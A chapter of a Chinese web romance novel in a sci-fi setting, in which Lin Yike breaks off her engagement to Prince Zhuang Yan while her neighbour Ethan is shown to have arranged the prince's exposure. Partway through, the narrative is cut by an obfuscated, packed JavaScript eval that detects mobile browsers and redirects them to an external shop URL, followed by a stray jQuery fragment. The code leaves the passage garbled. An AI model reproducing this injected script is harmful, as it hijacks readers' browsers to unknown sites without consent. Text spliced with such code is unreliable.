“好了,事情就是这么个事,这下您总该相信我没做什么了吧?”
“殿下请慢走。”林亦可毫不客气地下了逐客令。
庄严看着林亦可那冷冰冰的眼神,他终于慌了。
因为他知道,如果他再继续端着,不放下身段来哄林亦可,她可能真的会采取措施和他解除婚约。
到时候,就真的无法挽回了。
除此之外,更令他感到棘手的,还是这个莫名其妙的阿尔法星系王储。
这个该死的王储多管闲事,导致他和林亦可的婚约变得岌岌可危。
林家难道和阿尔法星系有关系?
林至恩难道能请动阿尔法星系的王族?
“林亦可。”庄宴的声音沙哑了,“我们之间的婚约,我会负起责任,好好履行的……”
“殿下,别……大可不必。”林亦可听到这话,人都麻了。
孩子死了,你来奶了。
大鼻涕流嘴里,你知道甩了。
车撞树上,你知道拐了。
无语!!!原主早在半个月前就无了,非你不可的那股劲早就没了……你这个迟来的深情,比草都贱,好不好!
“亦可,别赌气好吗?”
“我以后,会跟茵茵保持距离……不,我会跟其他所有女性都保持距离。这样你满意了吗?”
“不,你和谁保持距离都与我无关,我会解除婚约。”林亦可说,“我不想嫁给你。”
庄宴的手指攥紧了,“为什么?”
“因为我不喜欢你了。”
“庄殿下,过期的承诺,就不必兑现了。”
“没有人会一直在原地等你。”
喜欢你的,是那个十岁的原主。
她爱了你整整八年,都没能打动你的心。
最终……她死在了阴谋诡计里。
而自己,至今都没找到那个害死原主的人是谁。
“殿下,我们之间,到此为止吧。”林亦可看着庄宴的眼睛,觉得应该替原主说些什么。
“小时候我喜欢你,是因为在我失去母亲,生重病的时候,你和玛丽皇后来看我,这给了我很大的慰藉。”
“你长得好看,又那么温和,我很难不喜欢你。”
“但后来你不笑了。”
“你变得冷漠、傲慢、听不进别人的话。你只看你想看的,只听你想听的。”
“喜欢你的不是我,是那个十岁时哭着要嫁给你的小女孩。但现在,她已经不在了。”
庄宴听到这些话,眼眶红了。
他嘴唇在发抖,心里涌现巨大的恐慌。
客厅里安静得能听到墙上挂钟咔哒、咔哒的声音。
“亦可……我是不是要失去你了?”
“其实……野外试炼的时候,我想了很多,也想了很久,只是我一直不敢承认……”
“其实我的心里一直有——”你
“庄殿下,更正一下,你早就失去我了。”林亦可打断他,“还有,我现在不想看到你,你该回去了。”
反正已经这样了,她真的真的,一点都不想应付庄宴。
别说应付了,她甚至连一句好话都不愿意跟他说。
庄宴看着她,沉默了很久。
“林亦可,我不会放弃你的。”
“我们还有一辈子的时间,你会看到我的真心!”
说完这句话,他转身走了。
庄宴走得时候,背脊微微佝偻着,看上去非常颓丧。
和刚刚进来那个高高在上、背脊挺得直直的高贵王子的形象,完全不一样。
陈茵茵站在客厅里,有点不知道该怎么办了。
她看着庄宴的背影,又看着林亦可,再看着伊森。
没有人看她。
“陈茵茵。”林亦可开口。
“殿下已经走了,你怎么还不走?”
陈茵茵转头看着她。
林亦可把牛奶杯放在桌上,站起来。“你快跟上去吧。庄殿下需要你。他现在怀疑一切,但他不会怀疑你。”
毕竟你最会装无辜和楚楚可怜了,用你那假惺惺的柔弱、温柔、善良,去抚慰庄宴,他反正很吃这一套。
“还有……”
“如果你还想站在他身边,这是你最后的机会。”
陈茵茵的嘴唇动了动。“你为什么帮我?”
“?你要不要听听你在说什么?”
“我不害你就已经是最大的仁慈了,我帮你干嘛?”林亦可突然觉得,怎么这个陈茵茵也和庄宴一样,蠢兮兮的,
“我只是不想,跟你和庄宴两个卧龙凤雏再有什么牵扯了。”
“我本来想,大家都是体面人,还是体面地结束比较好。”
“但他太没有风度了。”
“所以,”
“为了让我和殿下的婚约尽早画上句号,我会跟我父亲说今天你们闯进我家里,掀起了一场闹剧。”
“相信玛丽皇后听到这件事后,会还我一个公道。”
陈茵茵的脸色也变了。
她的眼泪早就干了,她的委屈也不见了。她的眼睛里满是茫然无措,自己是不是……真的选错了人?
明明庄宴不是最强的那个。
伊森才是。
但伊森从来不看她……
她偷偷看了一眼站在门口的伊森。
伊森压根没有看她,他的眼里只有林亦可。
陈茵茵心里有些不甘心,明明自己才是主角,为什么这些男人都只看林亦可呢?是不是瞎啊?
她重重地叹了口气,然后转身走了。
庄殿下的飞行专机还在外面等她呢!
……
客厅里终于迎来了安宁。
林亦可长舒了一口气,低头看了一眼自己的光脑,未读消息99条。
估计是垃圾队其他成员发的。
林亦可抬头看了一眼墙上的挂钟,十一点了。
她赶紧在垃圾队的六人群里回复消息,却发现……伊森早已经在群里替她解释过了:
【森:我和队长有些事情要处理,今天可能要拖到中午才能出来,抱歉,中饭我来请。】
【赵大壮:真的?那我要吃大餐!】
【孙孙爱干饭:烤肉烤肉!队长亲手烤的肉串太香了!!】
【亭亭玉立:收到,伊森学长,你和队长没事就好,晚点来没关系,我们等你。】
【追风少女:怎么回事?两人单独约会去了?】
【赵大壮:怎么回事?两人单独约会去了?】
【追风少女:赵三岁,你干嘛学我?】
【赵大壮:你个紫毛,谁学你了?】
剩下的九十多条,全是凯瑟琳和赵天明互掐的记录。
林亦可很快就翻完了。
“伊森学长。”她走到伊森身旁。
“嗯。”
“你什么时候知道阿尔法星系派使团来贝塔星的?”
“昨天晚上。”其实是一个星期前,毕竟就是他叫人过来的。
“谁告诉你的?”
“就是前天晚上,我跟你提过的那个人。”
林亦可想起来了,前天晚上有个家里做飞行器生意的富二代,叫阿诺德.温斯特,一直骚扰她,然后,就被阿尔法星系官方的人□□了。
“你和你朋友说了什么?”
伊森沉默了一下。“我说,有人在欺负我的朋友。”
林亦可低下头,看着自己的手。“他知道‘朋友’是谁吗?”
伊森没有回答,但林亦可知道答案。
他知道,因为他从来没有说过“朋友”这个词。
她抬起头,看着伊森。
阳光从落地窗涌进来,落在他的身上,他的眼睛很亮,像两颗小小的星星。
“伊森学长。”
“嗯。”
“谢谢你。”
“谢什么?”
“谢谢你前天晚上帮我解决了三个混蛋……还陪我看月亮,送我回家。也谢谢你今天为我澄清,为我说话。”
林亦可仰头看着伊森,认真地说,
“让我知道,我不是一个人。”
伊森看着她,黑色的眼睛里,有一丝很淡很淡的笑意。
“我是你的邻居。”他说,“邻居应该陪邻居看月亮。”
“邻居也应该串门到邻居家,为邻居撑腰。”
林亦可笑了,一种说不清道不明的、像是有什么东西在心里化开了的笑。
她发现伊森的话肉眼可见地变多了,但这个变化她还……挺喜欢的。
“时间不早了,其他朋友该等急了,我们出发吧。”
“好”,伊森转身往门外走去,白色的亚麻衬衫被风吹起一角。
他的背影在阳光下很淡,像一幅用铅笔画的素描,线条简洁,没有多余的颜色。
林亦可看着他的背影消失在大门外。她低头看着餐桌上那束花。
她伸出手,轻轻碰了碰花瓣。花瓣在她指尖微微颤动,像是在回应她。
她想起伊森说“邻居应该陪邻居看月亮”,“有人在欺负我的朋友”。她想起他的眼睛……
“朋友。”她轻声说。
花瓣在她指尖轻轻颤动了一下。像是在说——我知道。
林亦可不由想起昨晚在客厅里,父亲说的“那就不嫁”。
她以为“那就不嫁”是一个承诺,是一个父亲对女儿的心疼。她不知道“那就不嫁”是一个行动,是一个父亲对女儿的守护。
从阿诺德到庄宴,每一步都有人走在她前面。是伊森.海斯,是林至恩。
……
另一边,伊森站在庭院里,隔着窗户深深地看了一眼林亦可。
天知道,没有谁比他更想亲手撕碎林亦可和庄宴的婚约。
但他不能太明显。
在其他人眼里,他只是一个阿尔法星系的军校生,邻星系的王子娶谁嫁谁,轮不到他来置喙。
他的身份特殊,不能在贝塔星暴露。
他什么都不能做。至少,表面上什么都不能做。
这让他很不爽。
他想过利用陈茵茵来达到他的目的,但他一直没有找到机会。
因为星辰学院里,庄宴和陈茵茵是队友,是师兄妹,是“互相救过对方”的关系。
他们一起上课,一起训练,一起出现在食堂的同一张餐桌上。
在学院的环境里,这太正常了。
没有人以为这两个人越界
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628860|205911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了,也没有人会因此嚼舌根。
甚至没有人会想:一个有未婚妻的王子,为什么总和一个平民女孩走在一起?
伊森知道这不正常,但他不能“替别人看见”。
所以他只能等一个机会。
等月假,等所有人离开学院的围墙,回到社会里。
回到那些目光不那么宽容的地方。
这个世界上,大多数的人都有窥探欲。
茶余饭后,打听别人家的八卦,如果这个八卦出自王族那位英俊、年轻、优秀的异能者王子身上,尤其是这位王子还有一名美丽的未婚妻,那就更吸引人了不是吗?
伊森.海斯未雨绸缪,从野外试炼回来之后,他便让阿尔法星系的人去“关注”庄宴的动向。
不是监视,是关注。
一句轻飘飘的“留意一下庄宴王子的行程”,就够了。
他不让人去偷拍,不让人去造谣。
他只是让人看着。
放月假这一天,也是阿尔法星系的使团正式访问贝塔主星的第一天。
他们像一只只鹰盘旋在高空,不落下,也不离开。
看着庄宴带着陈茵茵走过贝塔街道的每一个街头。看着他们一起在夜市品尝美食。
看着陈茵茵笑着指橱窗里那些她买不起的裙子,庄宴站在旁边,眉眼间是她从未见过的柔和。
看着他们进甜品店,两个人靠在一起……
伊森只是让人“关注”,而关注的结果,自然会被“记录”。
只要记录了就会被“归档”。
归档又会被“不经意地”送到该看到的人手里。
庄宴自己被人发现了不妥之处,被告诉了玛丽皇后,那就怨不得别人了。
玛丽皇后收到消息的时候,据说正在喝茶。那张照片,陈茵茵靠在庄宴怀里一起吃蛋糕的画面,就足够说明一切了。
伊森确实没做什么,却也什么都做了。
是他交代阿尔法星系的使者去关注庄宴的动向的。
然后再把消息放给议会的其他大臣知道。
那么,林至恩自然也就知道了。
玛丽皇后是个端庄、得体且明事理的人,波特团长将整件事转述给伊森听。
他说,玛丽皇后让人把庄宴叫来。
庄宴没有否认。他站在那里,嘴唇动了又动,最终只说出四个字:“母后,茵茵很善良,她是我的朋友,以及我的队友,她救过我的命!她只是出身不好,她那么柔弱,她不会影响我和林亦可什么的。”
当时她的眼神,失望透顶。庄
宴便什么都没有再说了。
玛丽皇后发了好大一顿脾气,手里的骨瓷杯子直接砸在庄宴的头上。
她知道,是自己的儿子做了对不起林家的事。
她让他立刻去林家道歉,并尽全力去挽回林亦可的心。
但庄宴来到林家不仅没有想着挽回,反而大摇大摆地带着陈茵茵上门兴师问罪。
伊森笑了,他就知道,庄宴那不可一世的狗脾气,一定会把这件事搞砸的。
这个蠢货,好不容易弄清楚自己心里爱的就是林亦可,却也永远失去了拥有她的资格。
……
“我什么都没做。”伊森对着庭院里的花朵说道。
花朵当然没法回答他。
但他的嘴角微微动了一下,比平时多了一点点弧度。
他是真的什么都没做。他只是等。等一朵花自己开,等一条河自己流,等一面墙自己倒塌。
而已。
……
王婶从厨房里出来,手里端着一盘三明治,已经热了很多遍了,但因为客人一直没走,她才没有出来。
现在,她看到客厅里只剩下林亦可一个人,愣了一下。
“小姐,客人呢?”
“走了。”
“都走了?”
“都走了。”
王婶把三明治放在桌上,看着她。
“小姐,你没事吧?”
“没事。”林亦可有些不好意思地笑了笑“抱歉,王婶,我要准备出门了,这三明治吃不成了。”
“没事没事,这只是很小的一件事。”王婶连连摆手。
“王婶。”
“嗯。”
“父亲今天几点出门的?”
“先生早上七点就出门了。”王婶说,“走之前,让我告诉您——不管今天谁来,都不用怕。”
林亦可停了一下。
“他还说了什么?”
“他还说——”王婶想了想,“他让我转达,‘一切有我’。”
林亦可低下头,她的视线有点模糊。
“知道了。”她说。
她的声音有点哑,但她在笑。
她出门的时候,管家站在门口。
“小姐,伊森少爷的飞行器就停在街道上,他在等你。”
“好的,知道了,谢谢林叔。”
林叔看着她,嘴唇动了一下,想说什么。
“林叔。”
“嗯。”
“今天来的客人,以后不会来了。”
林叔看了她一会儿,然后笑了。不是客套的笑,是真心的笑。
“好。”